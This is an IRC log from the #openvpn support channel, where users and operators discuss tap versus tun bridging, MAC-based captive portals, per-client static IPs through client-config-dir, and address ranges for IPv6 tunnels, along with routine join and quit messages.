03:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-smfqipgpkkobfdst] has quit [Ping timeout: 246 seconds]
03:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-plhbmlrcbugkdcqi] has joined #openvpn
03:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-plhbmlrcbugkdcqi] has quit [Ping timeout: 246 seconds]
03:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-ksgmnxsbigiodrfk] has joined #openvpn
04:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-ksgmnxsbigiodrfk] has quit [Ping timeout: 264 seconds]
04:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-gwrqujtmaojqnpts] has joined #openvpn
04:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-gwrqujtmaojqnpts] has quit [Ping timeout: 252 seconds]
04:11 -!- kirin` [telex@gateway/shell/anapnea.net/x-qasrpuccyralgjlp] has joined #openvpn
04:13 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
04:13 < cnf> can a single openvpn instance create multiple tap devices, one per connection?
04:13 <@plaisthos> cnf: no
04:14 < cnf> hmm, bummer
04:14 <@plaisthos> it is usually not needed
04:15 <@plaisthos> also you would need to preallocate them or dynamically create them
04:15 < cnf> well, if i do layer2 bridging, and i have say 100 clients terminate on the same tap device on the server, won't i have terrible packet storms?
04:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-qasrpuccyralgjlp] has quit [Ping timeout: 264 seconds]
04:17 < pppingme> if you're not bridging the tap to the lan, then there is almost no advantage to running tap anyway, so why not run tun?
04:18 < cnf> because we need layer 2
04:18 -!- kirin` [telex@gateway/shell/anapnea.net/x-yxsqvegebcylhtys] has joined #openvpn
04:18 < pppingme> part of L2 is broadcasts..
04:18 < cnf> yes...
04:19 < pppingme> why do you think you need L2?
04:20 <@plaisthos> but openvpn with subnet topology will also do broadcasts
04:20 <@plaisthos> and you can forbid client-to-client in openvpn
04:20 < cnf> because we need access to the client mac addresses for one
04:20 < cnf> they just don't need access to each other
04:21 <@plaisthos> cnf: access to the random mac address of the client tap device?
04:21 < pppingme> unless you're designing a L3 protocol, why would you need that?
04:21 <@plaisthos> what for?
04:21 < cnf> plaisthos: no, the other side is an AP
04:21 < cnf> we need access to the mac address of connected wireless clients
04:21 < pppingme> I ask because a lot of people just absolutely think they need it, but when you get down to it, they don't and there's usually a simpel way to get them working in a routed (tun) environment
04:22 < cnf> the other side is a simple AP with the wifi device bridged to the vpn tap
04:23 < pppingme> but that doesn't mean you need L2 access?
04:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-yxsqvegebcylhtys] has quit [Ping timeout: 268 seconds]
04:24 -!- kirin` [telex@gateway/shell/anapnea.net/x-bnaehsyewgorvneo] has joined #openvpn
04:25 < cnf> so how are you gonna do that on layer3?
04:26 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
04:26 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
04:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:26 < pppingme> do what?  I haven't heard anything that you need L2 for yet except you think you have some need to see mac addresses???  Unless you're writing yoru own L3 protocol, thats very unlikely?  Are you using mac's for something else??
04:27 < cnf> authentication, for one
04:28 < pppingme> mac is a POOR thing to use for authentication, way too easy to fake, next?
04:28 < cnf> uhm, not next
04:28 < cnf> and not your desision
04:28 < cnf> not mine either
04:28 < pppingme> you said "for one"
04:28 < kisom> cnf: Learn to say no to your boss then ;)
04:28 < cnf> kisom: bull
04:28 < pppingme> teach your boss good habits..
04:29 < kisom> It's just gonna be your headache later on when shit hits the fan and your boss blames you.
04:29 < pppingme> when someoen cracks your network because of a dup'd mac address, who's ass will be on the line, hint: it won't be your boss's..
04:29 < cnf> yeah, i'll go tell the dev team at an external company some guys on the internet said it's not a good idea
04:29 < cnf> they can't crack the network
04:29 < pppingme> some guy with 30 years experience..
04:29 < cnf> but that's irrelevant
04:30 < pppingme> if you're using mac authentication, they sure can..
04:30 < cnf> whatever, i have had this conversation in here 3 times already, not having it again
04:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-bnaehsyewgorvneo] has quit [Ping timeout: 260 seconds]
04:30 < pppingme> then you don't want help..
04:31 < cnf> i don't want to be questioned on the same bloody thing again
04:31 < pppingme> are you claiming some application uses mac for authentication??  you just aren't giving any details beyond something that you should be asking in #ijustwanttobeacrybaby
04:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-yobeuzljgvoevpox] has joined #openvpn
04:31 < cnf> they decided they want to base their captive portal on mac addresses, not my problem, i do not care
04:32 < cnf> i just need to get the tunnels working
04:32 < pppingme> ok, now a detail that may help
04:32 < pppingme> wow, was that so ******* hard??
04:32 < cnf> it doesn't matter, does it? either openvpn can do it, or it can't
04:33 < kisom> Then use a L2 bridge
04:33 < kisom> What's the problem?
04:33 < pppingme> give an idea of traffic flow and you might get more help
04:33 < kisom> Done it multiple time, and it works.
04:33 < cnf> kisom: bridge where?
04:33 < pppingme> act like you're protecting the ******* president or something and you have your head up your *** you won't get help
04:33 < kisom> cnf: To the network with the captive portal?
04:34 < kisom> Tbh I have no clue what you want to do, but if there is a captive portal based on L2 addresses then it will work over OpenVPN as well.
04:34 < cnf> kisom: my question was if openvpn can have a tap device per connection, because afaik if it is on one tap device, you are going to broadcast every packet to every client
04:34 < cnf> not fun if you have several hounderd clients connected
04:34 <@plaisthos> cnf: so just disallow client to client traff in openvpn
04:35 < cnf> plaisthos: right, so that works on tap level then?
04:35 <@plaisthos> cnf: ?!
04:35 <@plaisthos> openvpn will just don't internal routing between client
04:36 < kisom> cnf: So basically you want a L2 network without broadcasts, am I correct?
04:36 <@plaisthos> instead pass them to the tap device
04:36 < cnf> plaisthos: yes, but there is no routing when it is layer2 though
04:36 < cnf> kisom: not between clients, no
04:36 <@plaisthos> cnf: layer2 forwarding
04:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-yobeuzljgvoevpox] has quit [Ping timeout: 248 seconds]
04:37 < cnf> right
04:37 <@plaisthos> of course if your AP does not allow client seperation this won't help much
04:37 < cnf> plaisthos: oh, don't care about that
04:38 < cnf> plaisthos: just don't want every packet from every AP retransmitted to the hundreds of other AP's
04:38 < kisom> I see where this is going
04:38 -!- kirin` [telex@gateway/shell/anapnea.net/x-roouxqzrcrbossmj] has joined #openvpn
04:38 <@plaisthos> cnf: lookup the client-to-client config option
04:39 < cnf> plaisthos:  will do, i misunderstood the option i think
04:39 < pppingme> tap is just plain bad news because of the broadcast issue, maybe for a home network you can get by with it, but for a real network, its BAD BAD BAD practice, and any software that depends on it is BAD software, period.
04:40 < cnf> not my software
04:42 < pppingme> that shold open your eyes that its bad software, plus, unless you're forcing all of yoru clients to bridge (a big security hole) you will just see a dynamic mac address anyway
04:42 < cnf> what?
04:42 < cnf> the "clients" are just AP's with the tap and wifi dev bridged
04:43  * plaisthos gets a feeling why enterprise APs speak via IP with their controller
04:43 < pppingme> ap's can't run openvpn, they are just simple bridges
04:43 < cnf> they are, anyway
04:44 -!- kirin` [telex@gateway/shell/anapnea.net/x-roouxqzrcrbossmj] has quit [Ping timeout: 276 seconds]
04:44 <@plaisthos> pppingme: depends on the AP ;)
04:45 <@plaisthos> some even run IOS ;)
04:45 -!- kirin` [telex@gateway/shell/anapnea.net/x-oiawyyxtbpmlohtf] has joined #openvpn
04:45 < cnf> this one runs OpenWRT
04:46 -!- dazo_afk is now known as dazo
04:46 < pppingme> so its a piece of router hardware running linux
04:46 < pppingme> thats completely different than an AP
04:47 < cnf> it is hardware designed to be an AP
04:47 < cnf> running an os
04:47 -!- mndo [~mndo@bl16-92-92.dsl.telepac.pt] has joined #openvpn
04:47 < cnf> i call that an AP
04:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-oiawyyxtbpmlohtf] has quit [Ping timeout: 256 seconds]
04:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
04:52 -!- kirin` [telex@gateway/shell/anapnea.net/x-umcshmzoyzkrpgmq] has joined #openvpn
04:54 < pppingme> no, its hardware designed to be a router with multiple interfaces and a cpu and memory, a true AP is a pretty dumb device
04:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-umcshmzoyzkrpgmq] has quit [Ping timeout: 264 seconds]
04:58 -!- mndo [~mndo@bl16-92-92.dsl.telepac.pt] has quit [Quit: going home]
04:58 -!- mndo [~mndo@bl16-92-92.dsl.telepac.pt] has joined #openvpn
04:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-rsxxlthllmhgaagb] has joined #openvpn
05:00 -!- kirin` [telex@gateway/shell/anapnea.net/x-rsxxlthllmhgaagb] has quit [Read error: Connection reset by peer]
05:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-bfqsxmscalvuixxg] has joined #openvpn
05:21 < cnf> pppingme: multiple interfaces?
05:22 < cnf> pppingme: it has _one_ plug and an antenna
05:23 < cnf> and a "true AP" has a cpu and memory
05:24 < cnf> anyway, time for lunch now
05:27 < pppingme> it has enough cpu and memory to process a few keys, much less than what a router would have or need.
05:28 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
05:29 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
05:30 < cnf> "a few keys"?
05:30 < cnf> you don't even know what hardware it is
05:31 < cnf> but whatever
05:33 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:39 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:39 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:39 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:55 -!- riot [~riot@eris.hackerfleet.org] has quit [Ping timeout: 245 seconds]
06:09 < pppingme> cnf I'm certified by multiple vendors, dont' question what I know and don't know, what are your credentials?  You can't even give straight answers to simple questions and you implement bad solutions because they just seem simpler.  You sure don't know the difference between a router and an AP.
06:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:18 -!- mitz_ [~mitz@219.143.36.82] has quit [Ping timeout: 264 seconds]
06:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:24 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
06:26 <@plaisthos> pppingme: a router has no wifi interface? ;)
06:27 < pppingme> those cheesy ones you buy for home use have an AP in them, but no, a true real router doesn't.
06:28 < pppingme> a router routes between subnets, an AP bridges wifi to ethernet, "home routers" typically integrate them because customers don't like buying two pieces of equipment
06:29 < rob0> Wireless access is provided by software, just like everything else. And since when is bridging necessary for a WAP? My WAP (which is hostapd(8) software running on Linux) does not bridge.
06:30 <@plaisthos> pppingme: tell that the Cisco APs we have here :)
06:32 <@plaisthos> I think you can have an AP as an abstract concept
06:33 <@plaisthos> but apart from very early Access Points you don't finde those in the market anymore
06:33 -!- matt1s [~mattis@hurfmydurf.com] has left #openvpn []
06:34 < pppingme> AP's are L2 devices, they are NOT ROUTERS..
06:34 < pppingme> now they *may* feed into a router, but that doesn't change what an AP is..
06:35 <@plaisthos> pppingme: strictly speaking reals AP would be network bridges since they convert 802.11 into 802.3 protocols
06:38 < pppingme> yeah, exactly what I've consistently stated, minus protocol definitions..
06:40 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
06:42 -!- Devastator [~devas@177.99.152.148] has joined #openvpn
06:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:44 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
06:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
06:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
06:47 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:49 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:53 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:56 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:58 < cnf> hehe, had lunch :P
07:00 < cnf> right, back to openvpn stuff
07:01 < dimm0k> if the server and client are on the same LAN and they can PING each other using their LAN address, what am i missing in my setup that when the client connects to the openvpn server they don't see each other on the tun0 interface?
07:02 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:02 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
07:02 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
07:02 < cnf> hmm, maybe we just have to run a openvpn instance per client...
07:03 < dimm0k> i do
07:07 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:08 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
07:09 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
07:15 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:17 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
07:20 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:24 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 256 seconds]
07:40 -!- Thermi_ is now known as Thermi
07:44 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 245 seconds]
07:46 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:54 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:56 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
07:57 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 245 seconds]
07:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
08:13 -!- brute11k1 [~brute@89.249.231.82] has joined #openvpn
08:14 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
08:16 -!- brute11k2 [~brute@89.249.231.82] has joined #openvpn
08:16 -!- brute11k [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
08:17 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
08:17 -!- brute11k1 [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
08:19 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
08:21 -!- brute11k2 [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
08:43 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
08:43 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
08:48 < bwallen> I've got openvpn set up with LDAP auth. Is there a way to specify one user that doesn't need to authenticate agains LDAP?
08:53 <@Eugene> Use a second instance of `openvpn`
08:53 <@Eugene> With some way to limit that instance to just the single CN
08:56 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Quit: WeeChat 0.4.0]
08:57 -!- julianoliver [~julian@cpe-69-204-123-246.buffalo.res.rr.com] has joined #openvpn
09:05 < bwallen> Eugene: Ok, thanks
09:05 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
09:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:17 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
09:19 -!- levifig [~levifig@spwn.co] has joined #openvpn
09:23 -!- seait_ [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has quit []
09:26 < julianoliver> i would like clients to be able to set their own IP within a range known to the server. i'm using 'openvpn --dev tun0 --mode server --ifconfig-pool 10.9.8.2 10.9.8.254 --ifconfig 10.9.8.1 10.9.8.254 [...]' and on the client side '--ifconfig 10.9.8.14 10.9.8.1' (for instance), but the server always expects a connection from 10.9.8.2. My attempts with --ifconfig-push led nowhere so far. Any pointers?
09:31 < takamichi> Does anyone know of any other causes for 'PID_ERR replay-window backtrack occurred' errors other than UDP packets being dropped due to network congestion/latency issues?
09:35 -!- gnimsh [~IceChat9@38.111.36.74] has joined #openvpn
09:35 < gnimsh> Hi, I'm having trouble running openvpn
09:35 < gnimsh> I've installed it on cenots 5.8 via the package manager, but when I try to run openvpn --config /etc/openvpn/config.conf, it tells me command not found.
09:36 < gnimsh> which openvpn also returns no results.
09:36 < gnimsh> It does show up as being installed according to the package manager though
09:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
09:45 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
09:51 <@ecrist> gnimsh: rehash?
09:51 <@ecrist> otherwise, it's likely not in your path at all
09:51 <@ecrist> not really an issue we can help you with
09:51 <@ecrist> you'd need to talk with the package maintainer
09:54 < gnimsh> that's what it looks like, ecrist. When I turn it from /usr/sbin/openvpn it works but with errors.
09:54 < gnimsh> errors here: pastebin.com/7tc5YtrL
10:02 < pekster> julianoliver: The issue is that the server is still pushing an IP to that client, and when that happens the server won't accept inbound packets from that client unless they have that IP. You might be able to use --push-reset and explicitly not push an IP, but the better way to do this is use --ifconfig-push from a ccd and don't set the IP client-side. You should also lower your pool range to exclude a block for static IPs, otherwise ...
10:02 < pekster> ... it's possible another client gets that IP and then you'll have problems
10:03 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
10:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
10:06 < bwallen> Is there a way to push new routes to clients without making them disconnect and reconnect?
10:06 <@ecrist> no
10:07 < julianoliver> thanks pekster
10:11 < julianoliver> pekster: and so i would have multiple --ifconfig-push for multiple clients with statically defined IPs?
10:12 < julianoliver> (perhaps handled per mac address?)
10:13 < julianoliver> this VPN is only for four mission-critical dumb-clients machines that i want to administer remotely. they also address each other by IP rather than hostname, hence the static definitions.
10:14 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:14 < pekster> read --client-config-dir as you need to use the client CN, not "MAC" (remember that you don't even have a MAC in L3, and if you are using tap, it's dynamically set each time the device is created)
10:14 < julianoliver> yes, i realise it's not a real HWaddr ;)
10:15 < julianoliver> thanks. i'll do this.
10:15 < pekster> Set the IP by ccd or if you want to script it, --client-connect can output a file that is processed internally the same as a ccd
10:15 < julianoliver> ok cool
10:16 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:23 -!- awc737_away is now known as awc737
10:26 -!- awc737 is now known as awc737_away
10:27 -!- awc737_away is now known as awc737
10:29 -!- raidz_away is now known as raidz
10:37 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:38 <@dazo> gnimsh: your issue is in line 6 ... try using full paths in your config file ... in addition, if you have SELinux enabled ... you may need to pay attention to /var/log/audit/audit.log as well (grep for 'denied')
10:40 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
10:51 < gnimsh> dazo, success!
10:51 <@dazo> great!
10:51 < gnimsh> how can I keep it running without a terminal?
10:55 < gnimsh> ha, got that too!
10:59 <@Eugene> Use your init script
11:03 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 258 seconds]
11:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:05 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
11:13 -!- julianoliver [~julian@cpe-69-204-123-246.buffalo.res.rr.com] has quit [Ping timeout: 276 seconds]
11:13 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has joined #openvpn
11:20 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has quit [Ping timeout: 260 seconds]
11:21 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has joined #openvpn
11:26 < julianoliver> pekster: all sorted out now (short of hostname resolution). cheers.
11:28 -!- DarylXian [1JbZlP3v5G@bolt.sonic.net] has joined #openvpn
11:30 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 245 seconds]
11:31 < DarylXian> hi.  if my openvpn svr config contains: "dev tun1; ifconfig-ipv6 2600:...:1 2001:...:1", when I launch openvpn, should the tun1 intfc get that IP addr (2600:...:1) assigned?  checking here with "ifconfig tun1" or "ip -6 addr", there's no ip address associated with tun1.
11:32 < DarylXian> Do I need an additional config step?
11:39 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
11:40 < i7c> am i right that one tun-device can only be used by one openvpn instance at once?
11:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
11:44 <@Eugene> Yes
11:46 < i7c> thx
11:49 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 272 seconds]
11:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:07 -!- DarylXian [1JbZlP3v5G@bolt.sonic.net] has quit [Quit: DarylXian]
12:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
12:31 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
12:33 -!- jekader [~jekader@89.28.86.96] has joined #openvpn
12:33 < jekader> hi all
12:33 < jekader> thanks for yesterdays advice regarding client-connec
12:34 < jekader> took me two hours to write a script that parses the CCD and adds/removes iptables rules
12:34 < jekader> around 20 lines total :)
12:34 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
12:34 < jekader> the thing that's left is a little battle with selinux, but that's minor
12:37 -!- zeshoem is now known as _mnathani_
12:41 <@krzee> yw
12:47 < jekader> now my OpenVPN setup coincides with the picture in my head. I'm really happy :D
12:47 < jekader> time to migrate ~700 users :)
12:56 <@Eugene> I hope you're planning to run multiple instances
12:57 < jekader> yep, multiple servers
12:57 <@Eugene> Run one per core
12:58 < jekader> I tested throughput - a single CPU is able to saturate the whole uplink
12:59 < jekader> so no worries about that from my side
12:59 <@Eugene> Ah, OK then
12:59 < jekader> i.e. I'll run out of bandwidth before I run out of CPU :)
12:59 <@Eugene> Just know that there's a ceiling of ~100 users per `openvpn` process
12:59 < jekader> didn't know that
13:00 < pekster> Assuming they're using the link, anyway. A lot of the max user count depends on how they're loading the server
13:00 <@Eugene> Well now you do
13:00 < jekader> still, I haven't seen more than 30-40 simultaneous connections on a server
13:00 <@Eugene> Basically, CPU context switching
13:01 < jekader> but in any case, now that I've covered firewalling, I can create more servers
13:01 < jekader> including UDP ones for increased performance
13:01 < jekader> currently it's TCP only
13:02 < jekader> works fine, just VoIP users suffer
13:02 <@Eugene> UDP should be your preference
13:03 < jekader> I know :)
13:04 < jekader> but if (almost) nobody complains, I'll stick with TCP for now
13:05 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
13:26 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 245 seconds]
13:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:29 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
13:34 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Read error: Connection reset by peer]
13:38 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
13:41 < zoredache> Is is possible to go IPv6 only in routed mode?  As in I want `server-ipv6`, but no IPv4?
13:41 <@Eugene> Supposedly, but I've not tried it
13:43 < zoredache> I get an error `Options error: --server-ipv6 must be used together with --server`.
13:43 <@Eugene> Surprise.
13:43 <@Eugene> You may be able to do it manually; look at how --server and -ipv6 expand
13:48 < pekster> Effectively you still need an IPv4 address on the tunnel zoredache. There are code internals that assumes a v4 address is present
13:49 < pekster> You don't have to use it, so just pick some unused rfc1918 subnet if you don't really care; you don't have to do anything with routes, just assign one
13:49 < zoredache> pekster: the trick is that I am trying to setup a VPN that I will used to connect to lots of remote clients that will be out on lots of networks I don't control
13:50 < zoredache> I know for certainl 10/ 172.16/12, and 192.168/16 are all used
13:51 < jekader> then use some random external IP :)
13:51 < pekster> non-windows can probably abuse 240/4, or perhaps you could try to pick something in the middle of CGN space (RFC6598) at 100.64/10
13:52 < pekster> If you pick an obscure /24 inside 10/8 the chcance of collisions is really pretty small; even if a site uses 10/8 out of lazyness, the chances that your selected subnet collide is pretty low. Your call how to deal with that
13:54 < rob0> why a /24? why not less?
13:54 < pekster> Sure :)
13:55 <@Eugene> You can use 169.158 space
13:55 < rob0> or test-net
13:55 <@Eugene> Sorry, 169.254
13:55 <@Eugene> Or yeah, test-net would work
13:55 <@Eugene> There's also 198.18.0.0/15
13:56 <@Eugene> And 224/3
13:56 <@Eugene> 240/4 in particular, but that /might/ end up getting allocated. 224/4 not as much
13:56 < pekster> Well, 224/4 is best avoided as larger sites might actually be using (a part of) it
13:56 < pekster> Keep in mind Windows won't play nice with 240/4
13:56 < pekster> *nix does
13:56 <@Eugene> Really? They bogoned it/
13:56 < pekster> Yes
13:56 <@Eugene> Bastards
13:56 < pekster> It straight up fails on Windows
13:57 <@Eugene> That would explain why it hasn't been allocated
13:57 < pekster> Well, if IANA did, MS would probably fix it when it started getting real-world use
13:57 <@Eugene> Really IANA just needs to tell MS that they're gonna allocate it in <12 months
13:57 <@Eugene> Hopefully by then enough users will have updated
13:57 < pekster> It would really just postpone the inevitable at this point. We don't need another excuse to put off IPv6 even longer
13:58 <@Eugene> Yeah
13:58 <@Eugene> But moar IPs
13:58 < pekster> Not that people need an excuse with rfc6598, but whatever, plenty of bad ISPs to go around
13:58 < pekster> Anyway yea, lots of options
13:58 < zoredache> so is it on the openvpn roadmap to drop the ipv4 requirement?
13:59 <@Eugene> It'd be nice if the big corporations would return their /8s
13:59 <@Eugene> I mean, FFS
14:00 < pekster> zoredache: eventually, yes. Right now there's very little that's "truely" v6-only
14:01 < pekster> It's not as simple as you'd figure since there are lots of not only code issues, but issues making sure all the platforms ovpn supports work as a result
14:02 < pekster> For now, yea, I like the idea of using rfc3927, rfc5737, or rfc2544 space
14:02 < pekster> 240/4 is best avoided unless you're *sure* you never intend to connect Windows clients; obscure platforms might also choke on that
14:03 < pekster> Technically you're not supposed to use the latter 2 for VPNs, but in practice it won't break things. Ideally you filter it out so you don't leak it upstream anywhere, although core routing will drop it anyway
14:03 < jekader> why bother? Just assign a /30 range from some military-assigned subnet :)
14:03 < pekster> Eugene: ^^ that's how we "return" some of that DoD-allocated /8 :D
14:04 < jekader> yeah, we're hippies :D make VPNs, not war!
14:06 <@Eugene> Use of RFC2544 is probably the least evil
14:06 <@Eugene> It's meant for connecting RFC1918 space
14:07 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:07 <@Eugene> Well, routing in general
14:07 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:07 <@Eugene> I've only ever used it for connecting a pair of 192.168/16 networks
14:11 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
14:11 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
14:15 -!- mndo [~mndo@bl16-92-92.dsl.telepac.pt] has quit [Ping timeout: 240 seconds]
14:19 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:b540:1dca:d2d4:42af] has joined #openvpn
14:21 < zoredache> thanks for the address suggestions.
14:28 -!- BlackDal [~blackdal@89.144.167.68] has joined #openvpn
14:28 < BlackDal> I have tls handshake problem on my server, can anyone guide me how to fix it?
14:29 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
14:31 <@dazo> BlackDal: Let's start with the obvious things .... read !welcome first, as instructed to when joining this channel
14:31 <@dazo> !welcome
14:31 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
14:31 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:32 < BlackDal> !welcome
14:32 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:33 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:35 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:35 < BlackDal> dazo: next?
14:35 <@dazo> think about what you just read?  (hint: !logs and !configs)
14:36 < BlackDal> !config
14:36 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
14:36 <@dazo> !configs
